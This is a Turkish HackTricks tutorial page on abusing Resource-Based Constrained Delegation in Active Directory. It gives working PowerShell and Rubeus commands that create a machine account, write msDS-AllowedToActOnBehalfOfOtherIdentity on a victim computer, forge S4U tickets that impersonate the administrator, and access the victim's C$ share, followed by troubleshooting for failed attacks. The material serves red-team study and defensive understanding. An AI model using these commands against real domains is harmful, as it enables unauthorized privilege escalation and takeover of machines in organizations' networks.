Kaynağa Dayalı Kısıtlı Delegasyon
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Kaynağa Dayalı Kısıtlı Delegasyonun Temelleri
Bu, temel Kısıtlı Delegasyon ile benzerdir ancak bir nesneye bir hizmete karşı herhangi bir kullanıcıyı taklit etme izni vermek yerine, Kaynağa Dayalı Kısıtlı Delegasyon nesne üzerinde herhangi bir kullanıcıyı taklit etme yetkisini belirler.
Bu durumda, kısıtlı nesne, herhangi bir kullanıcıyı taklit edebilecek kullanıcının adını içeren msDS-AllowedToActOnBehalfOfOtherIdentity adlı bir niteliğe sahip olacaktır.
Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, makine hesabı üzerinde yazma izinlerine sahip herhangi bir kullanıcının (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) msDS-AllowedToActOnBehalfOfOtherIdentity değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan adı yöneticisi ayrıcalıkları gerekiyordu).
Yeni Kavramlar
Kısıtlı Delegasyonda, kullanıcının userAccountControl değerinde TrustedToAuthForDelegation
bayrağının S4U2Self gerçekleştirmek için gerekli olduğu belirtilmişti. Ancak bu tamamen doğru değildir.
Gerçek şu ki, o değer olmadan bile, eğer bir hizmet (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı S4U2Self gerçekleştirebilirsiniz, ancak eğer TrustedToAuthForDelegation
varsa, dönen TGS İleri Yönlendirilebilir olacak ve eğer o bayrağa sahip değilseniz, dönen TGS İleri Yönlendirilemez olacaktır.
Ancak, S4U2Proxy'de kullanılan TGS İleri Yönlendirilebilir DEĞİLSE, temel bir Kısıtlı Delegasyonu kötüye kullanmaya çalışmak çalışmayacaktır. Ancak bir Kaynağa Dayalı kısıtlı delegasyonu istismar etmeye çalışıyorsanız, bu çalışacaktır (bu bir güvenlik açığı değil, görünüşe göre bir özelliktir).
Saldırı Yapısı
Eğer bir Bilgisayar hesabı üzerinde yazma eşdeğer ayrıcalıklarına sahipseniz, o makinede ayrılmış erişim elde edebilirsiniz.
Saldırganın zaten kurban bilgisayarı üzerinde yazma eşdeğer ayrıcalıklarına sahip olduğunu varsayalım.
- Saldırgan, bir SPN'ye sahip bir hesabı ele geçirir veya oluşturur (“Hizmet A”). Herhangi bir Yönetici Kullanıcı özel bir ayrıcalığa sahip olmadan 10'a kadar Bilgisayar nesnesi oluşturabilir (MachineAccountQuota olarak) ve bunlara bir SPN ayarlayabilir. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir.
- Saldırgan, kurban bilgisayar (ServiceB) üzerindeki yazma ayrıcalığını kötüye kullanarak Kaynağa Dayalı kısıtlı delegasyonu, ServiceA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde yapılandırır.
- Saldırgan, Service B'ye ayrılmış erişime sahip bir kullanıcı için tam bir S4U saldırısı (S4U2Self ve S4U2Proxy) gerçekleştirmek üzere Rubeus'u kullanır.
- S4U2Self (ele geçirilen/oluşturulan SPN'den): Yönetici için bana bir TGS iste (İleri Yönlendirilemez).
- S4U2Proxy: Önceki adımda İleri Yönlendirilemez TGS'yi kullanarak kurban ana bilgisayara Yönetici'den bir TGS istemek.
- İleri Yönlendirilemez bir TGS kullanıyor olsanız bile, Kaynağa Dayalı kısıtlı delegasyonu istismar ettiğiniz için bu çalışacaktır.
- Saldırgan, bilet geçişi yapabilir ve kullanıcıyı kurban ServiceB'ye erişim sağlamak için taklit edebilir.
Alan adının MachineAccountQuota değerini kontrol etmek için şunu kullanabilirsiniz:
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
Saldırı
Bir Bilgisayar Nesnesi Oluşturma
Bir bilgisayar nesnesi oluşturmak için powermad:
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
Kaynak Tabanlı Kısıtlı Delegasyonu Yapılandırma
activedirectory PowerShell modülünü kullanarak
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
Powerview Kullanımı
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
Tam bir S4U saldırısı gerçekleştirme
Öncelikle, 123456
şifresi ile yeni bir Bilgisayar nesnesi oluşturduk, bu yüzden o şifrenin hash'ine ihtiyacımız var:
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
Bu, o hesap için RC4 ve AES hash'lerini yazdıracaktır.
Şimdi, saldırı gerçekleştirilebilir:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
Rubeus'un /altservice
parametresini kullanarak sadece bir kez istekte bulunarak daha fazla bilet oluşturabilirsiniz:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
caution
Kullanıcıların "Delege edilemez" adında bir özelliği olduğunu unutmayın. Eğer bir kullanıcının bu özelliği True ise, onu taklit edemezsiniz. Bu özellik bloodhound içinde görülebilir.
Erişim
Son komut satırı, tam S4U saldırısını gerçekleştirecek ve TGS'yi Yönetici'den kurban makinesine belleğe enjekte edecektir.
Bu örnekte, Yönetici'den CIFS hizmeti için bir TGS talep edilmiştir, böylece C$'ye erişebileceksiniz:
ls \\victim.domain.local\C$
Farklı hizmet biletlerini kötüye kullanma
mevcut hizmet biletlerini buradan öğrenin.
Kerberos Hataları
KDC_ERR_ETYPE_NOTSUPP
: Bu, kerberos'un DES veya RC4 kullanmayacak şekilde yapılandırıldığı ve yalnızca RC4 hash'ini sağladığınız anlamına gelir. Rubeus'a en az AES256 hash'ini (veya sadece rc4, aes128 ve aes256 hash'lerini sağlayın) verin. Örnek:[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
KRB_AP_ERR_SKEW
: Bu, mevcut bilgisayarın zamanının DC'nin zamanından farklı olduğu ve kerberos'un düzgün çalışmadığı anlamına gelir.preauth_failed
: Bu, verilen kullanıcı adı + hash'lerin giriş yapmak için çalışmadığı anlamına gelir. Hash'leri oluştururken kullanıcı adının içine "$" koymayı unutmuş olabilirsiniz (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
)KDC_ERR_BADOPTION
: Bu, şunları ifade edebilir:- Taklit etmeye çalıştığınız kullanıcı, istenen hizmete erişemiyor (çünkü onu taklit edemezsiniz veya yeterli ayrıcalıklara sahip değildir)
- İstenen hizmet mevcut değil (eğer winrm için bir bilet isterseniz ama winrm çalışmıyorsa)
- Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetmiştir ve bunları geri vermeniz gerekir.
Referanslar
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object
- https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.